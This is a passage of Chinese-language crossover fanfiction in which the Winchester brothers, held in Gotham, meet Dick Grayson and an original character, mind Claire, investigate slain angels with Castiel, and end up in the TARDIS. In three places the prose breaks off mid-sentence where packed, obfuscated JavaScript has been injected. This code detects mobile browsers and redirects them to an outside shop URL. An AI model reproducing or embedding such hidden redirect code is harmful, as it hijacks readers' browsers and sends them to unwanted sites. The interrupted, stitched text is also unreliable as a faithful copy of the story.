“告诉我,你会怎么做?” “我会用盐弹,用铁。” 约翰盯着迪恩看了一会儿,迪恩努力让脸上显出坚毅无畏的神情。约翰这才点了点头:“走吧。” 路过漫画书的时候,迪恩低头多看了它一眼,将它踢到一边。 那一天,回到汽车旅馆后,约翰脱了上衣,迪恩看着他身上深深的划痕,张大了嘴。在用酒给伤口消毒的时候,约翰说:“不要总想着会有什么英雄或神来救你,我们是猎人,迪恩。当有东西作恶的时候,我们必须靠自己。” ** 他的impala已经停在了楼下的车库里——天知道蝙蝠侠是怎么在这么短的时间内把车给运过来的。路过车库的时候,迪恩犹豫了一下,还是没舍得把宝贝车给开出来,毕竟哪怕是他,也听说过蝙蝠侠所属城市的超高犯罪率。 他可不想一不留神就让宝贝车少了个车轮胎。 好在这街区附近不远处就有一间酒吧,门面不大,店门外的街灯坏了几个,只有店里暖黄色的灯光照亮了门前的一块路。 酒吧看起来有些年头了,里面充斥着挥之不去的酒味和烟味,吧台的桌子有些油腻。迪恩碰了一下就收回了手指,等了许久也没等到招待生,只能不耐地用指骨敲了敲桌子:“一杯威士忌。” 招待生这才回过神,给他上了一杯酒,但眼睛一直往吧台的另一边瞟。 那边的吧台里侧站着一个穿着长袖的黑发年轻人。虽然酒吧里暖气并不足,漏风的门并阻挡不了初秋的冷空气,他还是将两只袖子挽到了大臂上,用力摇着一个调酒器,显出紧实的肌肉。 他面前的吧台上已经一字排开了各色的鸡尾酒,很快,新的一杯色调鲜艳的酒从他手中的调酒器里流出。 迪恩撇了撇嘴,对那些味道怪模怪样的鸡尾酒没有半点兴趣,一口将威士忌喝尽,感受着热气从胃里冲到脑子里,摇了摇头,打了个响指:“再来一杯。” 招待生再一次走了过来。在等新一杯威士忌的时候,迪恩的身后突然响起一阵响亮的欢呼声。 他扭头看去,只见四脚不一般高的台球桌上站了一个年轻女子,身上搭着一件宽大的男士外套,外套底下隐约露出薄薄的针织衫。她被五六个人簇拥着,左手将头顶的眼罩拉了下来,又高举起右手——在昏暗的光线下,迪恩隐约看到飞镖的轮廓。 她甩了下栗色的长卷发,欢快地说:“谁来猜猜这一次我能不能射中!” 迪恩看着屋子尽头的飞镖盘,总算明白了这群人在干什么——酒吧里的人总是要在一些小游戏上起胜负欲,这个女孩想来是飞镖上的一把好手,可惜酒吧太狭小,她退无可退,只好站到桌子上才能显出自己无惧距离增加的飞镖本领。 飞镖正中红心,更剧烈的欢呼声响起。酒气上涌,迪恩半扭过身子,意思着加入人群,鼓了几下掌,叫了声好。 年轻女子在摘了眼罩大笑时注意到他,向他点了点头致意。 接着,她矮下身子,一手撑了下桌面,轻快地翻跃下来,小跳到吧台前,和那个黑发的年轻男子隔着吧台交换了一个快速的吻。 她又拿起一杯蓝色的鸡尾酒,又挑了一杯黄色的递给男子,两人碰了个杯。 “就像我之前说的,”她挥了挥手,“请所有压我能射中的人一轮酒,算在他头上。” “哇哦,”目睹了全过程的迪恩眨了眨眼,对招待生感慨说,“你们员工工资这么高?” “员工?谁?”招待生迟疑了一下才明白迪恩的意思,“你说他?不,他是客人。”他拇指和食指搓了搓,比了个钱的手势:“客人想要自己调酒,我们自然要满足。” 迪恩恍然大悟:“小情侣的把戏。” 他这一杯威士忌还没喝完,就有人拍了拍他的肩。他回头一看,正是那位酒吧里的风云人物。她笑得不带有一丝阴霾,蓝色的眼睛完成愉悦的月牙,将一杯鸡尾酒推到他的面前:“我看到你给我鼓掌了,算你一个,这杯请你的。” 迪恩挑高眉毛,朝另一头看去,黑发男子向他友好地挥了挥手。 这个体验有些新奇,他还没遇到过有陌生女人在酒吧里请他喝酒——想和他“深入发展”的女人除外。 他端起漂亮得不像话的酒晃了晃,杯沿放着的一片柠檬差点掉了下来。他有些狼狈地把柠檬片扶稳了,掩饰着抿了一口,被酸甜和酒混合的味道冲得疯狂分泌口水。 “呃,谢了。” “那么,再见。”年轻女子干脆地离开了。 迪恩是在晚餐时分来的酒吧,那时天色甚至还没完全暗下去。几个小时过去,酒吧里的人换了好几批,那对小情侣请了几轮酒后,黑发男子从吧台后面转了出来,两人找了个卡座,凑得很近地说着话。 后半夜来的人大多成群结队,有的身上还缠着染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156757|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血的绷带,一进酒吧就将手里棍子之类的东西示威似地抛在地上,明显是一些帮派分子。 至于迪恩,他大概是和哥谭这座城市犯冲,前半夜酒吧里为数不多的独身女子对他颇有些敬而远之的意味在,到了后半夜更是走得没了影。 谨慎的城市。迪恩晕晕乎乎地想。 他对这个城市的评价很快就改变了。 那对情侣所在的位置传来一阵喧哗声,是后面来的帮派成员想要他们的位子起了争执。而迪恩万万没想到的是,先动手的是那个年轻女子——准确来说是先动脚,她二话没说就踹在了面前帮派成员的肚子上。 她看起来平衡力不错,下盘很稳,并且也深知自己和那些帮派成员的力量差距。她不怎么出拳头,更多的是飞踹和绊,并躲闪着以墙壁为依凭,避免自己陷入包围。 迪恩知道酒吧一对多或二对多的群架是怎么运作的,一开始你只要有经验,就能凭借场面的混乱而不落下风。但你不可能长时间维持这样的状态,你的体力、观察力随着时间的推移总会下降。 更别说在其他帮派的哄笑声中,和女子打斗的几个人愈发恼怒,他们的同伙已经开始去拿地上的棍子了。 而那个黑发男子只是靠在墙上抱着双手,看起来事不关己的样子,竟然还在笑。 天地好像都在转,等到迪恩摇摇晃晃地扶着桌子,他才意识到自己已经在不知不觉间站起来了。 “嘿,”他向前迈了踉跄的一步,“你们就不敢找个块头差不多的对手吗?” 打斗停滞了一瞬,帮派成员看向了他。年轻女子半点没耽搁地锤了某个人的鼻子一拳。 现在,被人包围的多了一个迪恩。 年轻女子神态轻松地冲着他扬了扬下巴:“搞得定吗?” 迪恩没来得及说话,双手抓住了打向他下身的一拳。 两人在打斗中逐渐靠近,直到被围在一起,各自应对一个方向的敌人。 迪恩本想着多照应她一下,但晚上喝得实在有些多,别人的动作落在他的眼里成了延迟特别厉害的残影,脑子总要顿上一顿才能反应过来。 因此,当他看到一根钢棍冲着女子的后脑勺砸去时,全然来不及出手阻止。 但那根反射着灯光的钢棍停滞在了空中。 迪恩眯起眼睛,才看清那个年轻男子不知道从什么地方冒了出来,一只手稳稳地握在钢棍上,持棍的人用尽全力,竟不能让钢棍下落一点。 “今晚就到此为止吧。”他笑着,一个下钩拳落在对手的下巴上,另一手夺过了钢棍。棍子在他手里灵活得不可思议,迪恩只在余光里看见银光闪烁在人群中。他走过的地方,帮派成员纷纷倒地。 直到这一片地方站着的只剩下了他们三个。 “哇哦,”迪恩不自在地摸了摸脖子,毕竟不久前他还腹诽过这个男人没有担当,“真是让人印象深刻。” 女子走上前来,将被汗黏在脖子上的头发撩到后面:“刚才他在带着我练习体术,你根本想不到我们被多少酒吧列入黑名单了。” 她皱了皱脸,冲着迪恩伸出手:“不过谢谢你出手相助。我是伊琳·埃文斯。” 43.宇宙融合的第九天 肾上腺素退了下去,脑袋再一次被酒气冲得晕晕乎乎的,迪恩的注意力在听到“伊琳”两个字的时候就溜走了,都没能让他捕捉到她的姓氏。 他不假思索地吐出了一个假名字作为回应:“查克·史密斯。” 这对情侣对视了一眼,伊琳挑起眉毛,她的男友耸了耸肩,像是在无声地对话。 迪恩向着吧台走了几步,想要把最后的半杯酒喝完,却差点被地上躺着的人绊了一跤。 黑发男子扶住了他,让他把手搭在自己肩膀上:“哥们,你喝得可不少。顺带一提,我叫迪克·格雷森。” “迪克?认真的?”迪恩笑起来,哥俩好地拍了拍迪克的肩,“别误会,我无意冒犯。顺便一提,你刚才那几下实在是太帅了,有机会一定要教教我。但是,迪克?谁会叫这样的名字?” 迪克像是已经习惯了这样的评价,只是笑了起来,摇摇头,带着他一起走出了酒吧。 伊琳裹着宽大的外套原地跳了几下,把手从迪克的后腰处伸了进去,放在他的腰上暖着。 被冰凉的晚风一吹,迪恩皮肤一阵发麻,打了个激灵,头脑在这凉意里逐渐清醒。不知道为什么,他的思绪里总是回荡着“迪克”这个名字,他总觉得这个名字有种莫名的熟悉感。 自己刚才脱口而出的吐槽也很熟悉,像是很久以前就这么说过。 “迪克。”迪恩不禁又念了一遍这个名字,迪克转过头来看他,蓝眼黑发的特征更令他觉得似曾相识。 ……哦对了,那只蝙蝠和他那个叫提姆的养子也是蓝眼黑发。 幼时模糊的印象又逐渐浮现,他看的漫画书里应该有罗宾这个角色才对,但似乎不是今天碰上的那两个。他转了转眼睛,才听见的这个令人印象深刻的名字和记忆里的缺失严丝合缝地对上了。 ……见鬼,真是流年不利,怎么出个门还能碰上韦恩家的。 迪恩的表情僵住了。但他看迪克还算顺眼,也不好把对蝙蝠侠的不满和愤怒撒在他身上,只是胡乱敷衍了他对自己住处的询问,坚持自己独自回去。 醉意让他的腿脚发软,等伊琳和迪恩转去后面一人骑了一辆摩托车、从他身旁呼啸而过时,迪恩甚至还没走到路口。 听到伊琳挥手冲他笑着喊“回头见”时,迪恩怎么也不曾想到,“回头”竟然来得那么快。 他刚从口袋里掏出钥匙,摇摇晃晃地想要开门时,楼道里面的另一扇门突然打开了。 熟悉的声音里带着戏谑的笑意:“我该叫你查克·史密斯,还是迪恩·温彻斯特?” 另一个也十分耳熟的男声接了话:“真的是他?”虽是问句,但语气里毫无诧异,倒是有点忍俊不禁:“早知道这样,我们就载你一程了。” 迪恩明白这两人早就猜出了自己的身份,被韦恩家人看穿得恼怒让他不自觉地磨牙,不理两人的招呼,走进公寓,将门摔在了身后。 查资料时困得在沙发上睡着了的萨姆被巨响吓得跳了起来,看见迪恩的神情时叹了口气:“你又怎么了?”他想起迪恩今夜的去处,坏笑说:“不会是被人给赶出来了吧?” 迪恩瞪了他一眼,忍不住往门的方向看了好几眼,确认了那两人没有上门的打算,才一屁股坐在了萨姆边上:“你还说不是囚禁,连狱警都派来了。” 被迪恩称为“狱警”的伊琳第二天一早就敲响了他们的房门。迪恩还在因为宿醉睡得昏天黑地的,萨姆倒已经吃完了早餐三明治开始例行地关注各地异常新闻,门铃没响几声,就拉开了房门。 只见一个栗发女子神采奕奕地站在门口,冲他毫不见外地笑着:“不请邻居进去坐坐?”她手上的华夫饼散发着诱人的香气:“我带了早饭。” 萨姆挑高眉毛,侧身让了一步,心里明白这就是迪恩昨晚抱怨的“狱警”了:“萨姆·温彻斯特。不过我想你已经知道了。” 伊琳非常坦然地点头:“对,布鲁斯和我说过了。我是伊琳·埃文斯,就住在隔壁。” 萨姆依旧一手撑着门不令其关上,见伊琳已经把华夫饼放上餐桌安坐了,向着门口张望了几下:“呃,没有别人了吗?” “你说迪克?他回布鲁德海文了,今天还要上班。” 事实上,因为布鲁斯回哥谭后,语气严肃地要他回庄园一趟,迪克是向警局请了两天假的。但布鲁斯在告知他宇宙融合及天启的事后,又沉默了下来,只是在书桌后面凝视着他。 “我听说......”在迪克等待到脸上的肌肉都笑得僵硬后,布鲁斯终于开口,却又忽然顿住,生硬地换了原本想说的话,“你又开始在警局工作了?” “是啊。”迪克耸耸肩,下意识地撇开眼,不去看布鲁斯的眼神。他清楚布鲁斯想问的不是这个,他想问的大概是那两场火,是夜翼的失联,是巨汉的死。但他不知道布鲁斯视线里蕴含的究竟会是同情、愧疚还是不赞同。 他哪个都不想要。 所以,他找了个借口离开庄园后就在第二天销了假回归警局——在留下了几人份的自制华夫饼后。 当迪恩终于从宿醉中清醒过来时,伊琳和萨姆已经混熟了,正斜在沙发上用腕表投出光屏,上面的内容是萨姆传输给她的海量宗教魔法类的书籍。 迪恩一推开门,就被空气里飘着的光屏吓得后退了一步:“What the hell.” 他视线落在伊琳身上,瞪大了眼睛:“你怎么在这儿?” “展现一个好邻居的热情——给你们送早餐。迪克做的。” 迪恩向萨姆投去质疑的目光,萨姆坐在笔记本电脑后面努努嘴,指向桌上的华夫饼。 华夫饼几乎被枫糖浆盖住了,迪恩不顾萨姆不赞同的目光,一手拿叉一手扶着地把整块华夫饼叉了起来,咬了一大口。 “嗯,还行,不过我还是喜欢吃派。下次监狱发餐,记得带派。” 伊琳“哈”了一声:“真有趣,我不记得黑门监狱有了分所。” 迪恩将椅子向后挪动,与地面摩擦发出刺耳的声音:“好吧,让我们开门见山,那只蝙蝠让你们来干什么?监视我们?” “我看起来很闲吗?”伊琳歪了歪头,思索一阵,承认道,“好吧,我现在是很闲。但不,蝙蝠侠没有‘让’我来干什么,他只是告知我,我隔壁住进来了两个挺关键的人,又说了一点天启的事。” 迪恩抱着手臂看她,显然不信她的说辞。 伊琳翻了个白眼:“是真的。我要是真的被安排了监视你们的活儿,你昨天又怎么会在酒吧看见我。别忘了,你到的时候我可早就已经在酒吧了。那会儿我也并不能确定你就是迪恩·温彻斯特,直到你出现在楼道里我才肯定了这一点。” 迪恩撇了撇嘴:“所以他只是把我们扔在这里,我们要是离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161829|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥谭,也不会突然冲出一堆蒙面人把我们按倒?” “我不知道。”伊琳坦诚道,“技术上来说,我并不是超级英雄社团的人,我甚至不属于这片宇宙。”看着正色的迪恩和萨姆,她补充道:“也不是你们这片宇宙的。” 她耸了耸肩:“所以你们可想而知,我亲身经历过蝙蝠侠的多疑和控制欲。” 迪恩假笑:“棒极了。” “要我猜的话,蝙蝠侠并没有指望能让你们一直隐藏在哥谭。毕竟天堂和地狱很快就能注意到正义联盟的插手,不会想不到你们可能在正义联盟成员守护的城市内。”伊琳说,“他最多也就是把你们放在眼皮子底下看一阵,同时自己收集信息。确认你们可信后,应该就会主动提出和你们合作。” “所以现在我们只能困守在这里,无所事事?” “把这当成一个假期,虽然哥谭可能算不上什么度假的好地方。”伊琳掏出手机点了几下,萨姆的电脑在同一时间响了一下。他看着消息里那一连串“拍照打卡点”愣了神:“呃,好吧,谢谢。” “又或者,如果你们一定想要做点什么有意义的事的话,‘让受超自然事件侵扰的普通人的生活回到正轨’听起来怎么样?” ** “她跑过来说那么一大串话的最终目的是不是就是这个?让我们给一个青少年当保姆?”迪恩险之又险地侧身躲过向他迎面撞来的失控滑板,对着一声“对不起先生”气急败坏地喊了句:“注意看路!” 萨姆对着几个小姑娘“你好高啊”的惊叹尴尬地笑了笑,快走几步跟上迪恩。 他们本以为自己来得很准时,没想到放学时间路上的车已经堵到了两条街外,他们只能将impala停在一边步行到学校。 而不幸的是,大批的学生已经从校门走了出来。他们像是误入鸡群的两只大鹅,被冲击得一晃一晃。 “但她说得有道理,不是吗?我是说,从怪物手里救人,帮助别人,我们不就是干这个的吗?迪恩,你走慢点!” 迪恩走得格外地快,近乎是从结伴的人群中间挤过去的,萨姆不得不冲着被挤散的人抱歉地笑笑,沿着迪恩开拓出来的路赶了上去:“不过我还是难以想象,克莱尔竟然已经十六岁了。一年前见她的时候我还觉得她是个小不点儿。” “一转眼已经到了青春期了,哈?”迪恩的笑很干,“有时候猎魔结束,我会想被留下的人会怎么样?失去了家人,知道了世界超自然的一面。听上去很耳熟,是吧?” “很多猎人就是这么开始的。”萨姆低声说。 “是啊。就像我们。”迪恩顿了顿,“也有人决定回到普通人的生活,像克莱尔。也像......在我从斯坦福把你拖出来之前。” “迪恩......” “没什么,”迪恩摇了摇头,“我只是忽然想到,在小时候,你总是很认真地上学,也很喜欢读书。你会想念不猎魔的日子吗?” “是的。”萨姆深吸了一口气,说道,“但猎魔比知道有人死去、我本能做什么却没有做好,也比留你一个人在外面冒着生命危险好。” 迪恩看向他,撞了撞他的肩膀:“家族事业,哈?”萨姆回以微笑。 “但猎人界不缺一个十六岁的青春期小姑娘。” “对,不缺。” “那就让我们确保她好好地在学校里待着。” 44.宇宙融合的第十天 显而易见,这个十六岁的小姑娘并不想看见他们,但一个在他们五米外突然开始逆着人群往回走的身影实在是明显极了。 迪恩和萨姆几步就追了上去,跟在克莱尔身后半米的距离如影随形:“嘿克莱尔!好久不见。我们是......” 克莱尔忍了忍,还是停了脚步,转过身来:“我知道你们是谁。迪恩和萨姆·温彻斯特,我对你们没有兴趣,你们再跟着我我就叫保安了。” “告诉你的监护人去,”迪恩说,“是她让我们来接你的。听说你昨天回家的时候和人打架了?” “那是一群小混混,我开了一枪就把他们吓跑了。”克莱尔舔了舔嘴角的伤,“还有,伊琳不是我的监护人。” “你还带了把枪到学校?” 与萨姆的话同时的是迪恩带着欣赏的感叹:“酷,我小时候也想这么干来着。” 萨姆用不可思议的眼神看向迪恩:“迪恩,你没在帮忙。” 迪恩耸了耸肩。 不得不说,克莱尔还挺合迪恩的脾气的,从像小炮仗一样的说话方式和对敌习惯,到一点都不健康但非常合迪恩胃口的饮食习惯。 “迪恩,你不能就这么带着青少年吃垃圾食品,他们需要蔬菜摄入。” “蕃茄酱就是蔬菜。”两人异口同声地说。 克莱尔抬眼看了一下迪恩,和他像碰杯一样碰了一下手里的薯条,第一次在两人面前笑了。 “说吧,”她往椅背上一靠,收敛了笑容,“你们找我做什么?” “什么事都没有。”迎着克莱尔狐疑的目光,迪恩说,“我们现在可是在哥谭,蝙蝠侠的眼皮子底下,无聊得我都要长出毛来。” “好吧,听起来是蝙蝠的作风。但我决定这个月先不说他坏话,毕竟我的入学是他帮我安排的。” 萨姆笑了笑:“你又继续上学了,这很棒。” “是啊,否则我还能干什么呢?我妈妈抛下了我,本来我想在外面转转,说不定哪一天能遇上爸爸,逼着卡斯迪奥把爸爸还回来。”克莱尔指甲掐进软软的薯条里,将它分成两截,脸上维持着笑容,但声音隐约带了几分哽咽,“好吧,最新消息,爸爸死了。但我猜你们早就知道了。” 萨姆和迪恩对视一眼,用眼神示意对方去安慰克莱尔。 迪恩在眼神比拼中败下阵来,只能硬着头皮上:“呃对,吉米拿到了天堂入场券?应该问问卡斯迪奥天堂里有什么的,酒,大餐,美女?”对着萨姆不可思议的目光,迪恩声音轻下来,咳了一声,对着他做口型:“我该说什么?” “你们知道吗?”克莱尔忽地从座位上站了起来,拎起书包,“我有作业要做。” “我宁愿去和狼人打架。”迪恩松了一口气,小声嘀咕说。 为了从伊琳口中得知正义联盟针对天启的最新动向,温彻斯特兄弟需要做的保姆工作不止一天。让他们松了一口气的是,第二天克莱尔并没有提起那个令他们招架不住的话题。 她出来得晚了些,迪恩看着她手掌边沿的擦伤皱起了眉:“发生什么了?” “没事,”她抬起手,看了眼伤口,无所谓地说,“学校里有人管我叫怪人、流浪儿,然后他就去镶牙了。” “听起来你省略了很多情节。”迪恩又看了眼她的伤,皱起眉头。 校园暴力与霸凌在他成长的过程中并不少见,最终都是以他把对方给打服了为结局。所以他很清楚,对于自认为是地头蛇的霸凌者而言,一次惨败有时候还叫不醒他们。 于是他问道:“还想出出气吗?” “迪恩,他们是高中生。” “我没说会动手。” 温彻斯特兄弟——尤其是萨姆——得天独厚的身高足以在略微装扮一下后,走出去就把人吓得瑟瑟发抖。迪恩只是在裸露的皮肤上贴上了密密麻麻的纹身贴,又学了一口犯罪巷的口音,往刀上撒了一些血浆,在巷子里堵住了刚镶上新牙的家伙,就把他给吓得说话都不利索了。 “我有家人关心我,”克莱尔站在霸凌者面前说,“并且他们是两个大个子。如果我是你,下一次做事前会三思。” 经此一事后,克莱尔对他们的态度软化了不少,甚至还给他们透露了一个消息:“如果你们想悄悄离开哥谭,试着问问伊琳。” ** “可以。”出乎他们意料的是,伊琳爽快地答应了,“只要你们有充分的理由,并且不要做什么愚蠢的事。” 看着两人诧异的眼神,伊琳意味深长地笑了:蝙蝠侠已经把他们两个用过的假名、解决过的案件摸了个底掉,基本上已经确定了他们两个行事没有可疑。只是他们对正义联盟依旧心有疑虑,此前提供的信息很简略,要真的掌握他们遗漏的地方,还是得从他们的行动着手。 他们要是再不动起来,蝙蝠侠才是要想办法让他们动上一动。 当然,虽然猜到了蝙蝠侠的想法,伊琳也没有事事向他汇报的打算——她抚上不久前刚刚恢复时空穿梭功能的腕表,联想到前段时间提姆不断追问火炬木的事——就像他们有事没有告诉她一样。 萨姆已经迫不及待地向她展现了自己的发现:“十二具尸体,其中九个人是来自其他州的失踪人口,以及——” “有人在ins上发帖,尸体周围画着黑色的翅膀。” 迪恩总结说:“有什么东西杀了一打天使,我们得去看看是不是有恶魔的阴谋。” 事情是在一周前的某个晚上发生的,此后当地再没有发生过类似的事。因此,忙得团团转的正义联盟并没有把它列入亟待解决的头等大事。 伊琳在桌子上敲着指节,斟酌着这件事该不该算在“愚蠢的事”的范畴里,最终还是认定有时间漩涡操纵器在,他们至少脱身不成问题。 ……再把迪克拉上,应该就更保险了。 甚至不需要迪恩和萨姆掏出伪造的FBI证件,从警局请假出来的迪克就熟门熟路地黑进了友局的系统,毫不费力地调出各个现场的照片,巨大的翅膀影子清晰地展现在他们眼前。 与伊琳在暸望塔看到的卡斯迪奥的翅膀相比,这些天使翅膀完整健康得多。 除了落地时容易让人想吐的缺点以外,时空穿梭确实是方便快捷,甚至可以无视警察的各种封锁。穿梭了四次后,几人将案发现场转了个遍,有几处地上还能看到尚未被磨损的翅膀印子。但无论是案发时的证物里,还是他们再次勘探的现场,都没有半点硫磺的影子。 “所以不是恶魔,那还会是谁?” 迪恩话音刚落,后背有一阵风吹过,一只手搭上了他的肩:“迪恩。” 他忍住了没被吓得咒骂出声,无奈地大声叹了口气:“卡斯,你下次能不能先出声提醒一句。” “对不起。”卡斯迪奥退了一步,歪头看了眼伊琳和迪克,等两人报了姓名后,点点头,简单地回道,“卡斯迪奥。” “好了,破冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188320|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间结束。”迪恩拍了拍手,“卡斯,你为什么在这儿?” 卡斯迪奥像是要开口,又突然双手捂住耳朵,皱起了眉:“我们得换个地方。” 他将双手搭上温彻斯特兄弟的肩膀,扭头对伊琳和迪克说道:“抓住我。” 被天使带着飞的感觉和用腕表不太一样,伊琳甚至能在短暂的瞬间感受到冰冷的风被某种温暖的东西隔断,带着凉意的空气从间隙穿过,闻起来是湿漉漉的水汽味。 她脑海里突然闪过那天看到的残缺的翅膀投影。 阳光忽然洒在了她的身上。她睁眼一看,几人已经来到了一处小溪旁,身后原本应该是森林,但树已经倒了一地。不仅如此,树木的间隙还躺着三个人,身旁是似曾相识的翅膀黑影。 “他们都是天使。”萨姆惊异道,“谁干的?” “我。”卡斯迪奥蹲在溪边,风衣的下摆已经被浸湿了。他的双手放在溪水中,比起清洗更像是在发呆。他的蓝眼睛里闪烁着细碎的光芒,不知是水面粼光的映射还是天使荣光的余晖。 “什么?你?”迪恩惊讶道,“之前的十二个也是你?” “不,那是这三个天使和同小队的天使干的。”他低下头,手在出水的瞬间就在他的视线下变干了,“他们是留下来扫尾的,正好遇见了我。” “所以这是什么?天使在内斗?” “几乎不是。我不确定这算不算内斗。”他的声音低沉里带着肃穆,“死去的十二个天使并不属于我们的宇宙,他们遵从天父的命令驻守人间,让人类远离邪恶的侵扰。” “所以现在两个宇宙的天使在打架?”迪恩眨了眨眼,“这算好消息吗?天堂现在是不是没空来找我们了。” “不,恰好相反。”天使电台里依旧一片嘈杂,但好在他已经逐渐适应了多出来的那些声音,“最后坚持反对天启的天使们都已经被杀了,两个宇宙的天使联合在了一起。” “哦,看来这个宇宙的天使一样混蛋。” 卡斯迪奥不快地瞥了迪恩一眼。 “好吧,我不说了。”迪恩耸了耸肩,做了个把嘴上拉链拉上的手势。 “其实我一直想问,”迪克忽然开口,“天堂为什么极力促成天启?只是因为米迦勒想和路西法打一架吗?” “因为,”卡斯迪奥失神了片刻,视线投向不远处的天使尸体,“他们想回家了。” 他知道他们每一个的名字。 在他抓着最后一个天使——埃利奥拉——的衣领、将天使之刃插进他的胸膛之前,埃利奥拉用尽全身力气抓住他的手,半是哭诉半是怒斥地说:“我们遵从天父的指令,已经在这片土地上守望了千万年。看看这千百年来不断滋生的罪恶,连天父都无法忍受地抛弃了他的造物,我们还要忍受这些罪恶多久? “你不想念过去的日子吗?不用穿着这束缚的皮囊,只是沐浴在天父的光里,和兄弟姐妹们一起唱着赞歌。 “是时候了。让属于天堂的灵魂归于天堂,罪孽深重的坠入地狱。我们不再需要人间了。这到底有什么不好?” “我不知道。”天使之刃轻易地穿过皮囊,耀眼的荣光从指缝间透出,几乎将卡斯迪奥的瞳孔映成了银白色,“也许是因为,孩子们会害怕的。” 当他和迪恩坐在那个小镇的儿童游乐区旁,第一次冒着封印会被打破的风险、执意想要放过这个小镇时,想的只是在天使动手时,这些孩子一定会疼、会害怕。 45.爸爸来了的第一天 伊琳早就习惯用腕表穿梭时的感受:眼前一片短暂的暗淡空茫,然后是强烈的失重感,紧接着坠落。在穿梭的间隙,她失去了所有对身体的控制,毕竟从理论上来说,她身体的粒子构成已经临时发生了结构上的变化。 她原本并不至于慌张——如果这次的穿梭也像往常一样短暂的话。 ……也许是被天使的能量残余影响的。 卡斯迪奥留下一句“我会继续寻找上帝”后就消失了,她和其他人也用腕表紧随其后地穿梭离开。 或许应该等久一点再穿梭的。她想。 她并不确定自己在虚无里停留了多久,熟悉的坠落还是让人心安地来临了,伴随着金属与鞋底碰撞的声音。落地的瞬间地似乎晃动了一下,她一时间没站稳,向后踉跄了几步,撞在了迪克的胸上。 “这是哪里?”迪克的声音很警惕,光线刚刚进入眼帘,他便察觉到这光既不是自然光,也不是他所熟知的任何一处屋子的光线。 “塔迪斯。”伊琳用气声说道,充满了不可思议的情绪,比起回答,更像是在呼唤一个名字。 塔迪斯的墙壁散发出温柔的光,伴着轻微的嗡鸣声,她的精神触手轻柔地抚摸着伊琳的情绪,像是和久别的游子打招呼。 “你们从时间漩涡里绑架了我!这就是为什么这次穿梭花了那么长时间!”伊琳猛地转身,毫不意外地对上了两个不能更熟悉的身影。 “是的,我说过,当你用劣质的时空漩涡操纵器像跳蚤一样在时空里跳来跳去时,这种事情就是会发生。”一如既往的飞快的语速,满溢出来的自信与讽刺,但出奇地不让人讨厌。 “嘿,”就像从前无数次一样,杰克提出了抗议,“停止说这像跳蚤,我的腕表可救了我们很多次。” “没错,跳蚤的生命力很顽强,但依然是跳蚤。”博士绽开了一个巨大的笑容,“谁会想在有塔迪斯的时候乘着跳蚤旅行呢?” 这种斗嘴熟悉得就像是昨天一样,像一个齿轮终于归位,机械开始了丝滑的转动,伊琳感觉自己的心终于落地。 跨越宇宙的重聚应该值得一个拥抱。 她刚向塔迪斯中央的操作台迈出一步,杰克飞快制止道:“不不,现在还不是时候。待在你的漂亮男孩们身边,如果你想的话,待在他们怀里——他们有不错的胸,我得说。”他带着标志性的灿烂大笑眨了眨眼。 “站稳了,我们有一点赶时间。”说到最后两个字时,操作杆已经被压到了最底下,塔迪斯霎那间近乎倾斜了九十度,所有人的耳朵开始耳鸣。 迪克在伊琳砸到墙上前把她捞到了怀里,另一手牢牢抓住墙壁上不知道什么时候出现的把手维持住平衡。 伊琳听见迪恩和萨姆撞在墙角低声咒骂,塔迪斯发出愧疚的嗡鸣。她轻笑着搂住迪克的脖子,手绕过来时顺手戳了戳他的胸:“绝佳的减震材料。” “天呐,”迪克嘴角的弧度逐渐扩大,“我绝对不用你说就能判断出哪个是你爸爸,我能看到相似之处。” “嗯?”伊琳威胁地眯起了眼睛,迪克能感觉到她温热的呼吸,“我有那——么——糟糕吗?” “我不会说这是糟糕。” 随着一阵更加剧烈的金属撞击声和火花的炸裂,塔迪斯重新翻转,两人朝着伊琳的方向倒去,迪克奇迹般地及时变化了两人的位置,垫在了伊琳身下。 ……电视剧里那些男女主亲吻的场景大概半真半假,真的地方在于两人摔倒的时候嘴唇确实能够相碰,假的地方在于—— 牙齿磕在一起其实还挺疼的。 伊琳撑起身子,舔了舔牙龈,她甚至还尝到了一点铁锈味。 “时机正正好好!”博士愉快地宣布。 杰克朝着伊琳张开手臂,戏谑地挑起眉毛:“拥抱时间!如果你还有时间分给你的老父亲的话。” 伊琳跳了起来,像一个小炮弹一样冲到了杰克的身上:“你们好慢!” 杰克向后退了一步,接住了她,两人不约而同地忽略了博士意义不明的哼哼声。 “我的小蜡烛。”杰克轻声说。 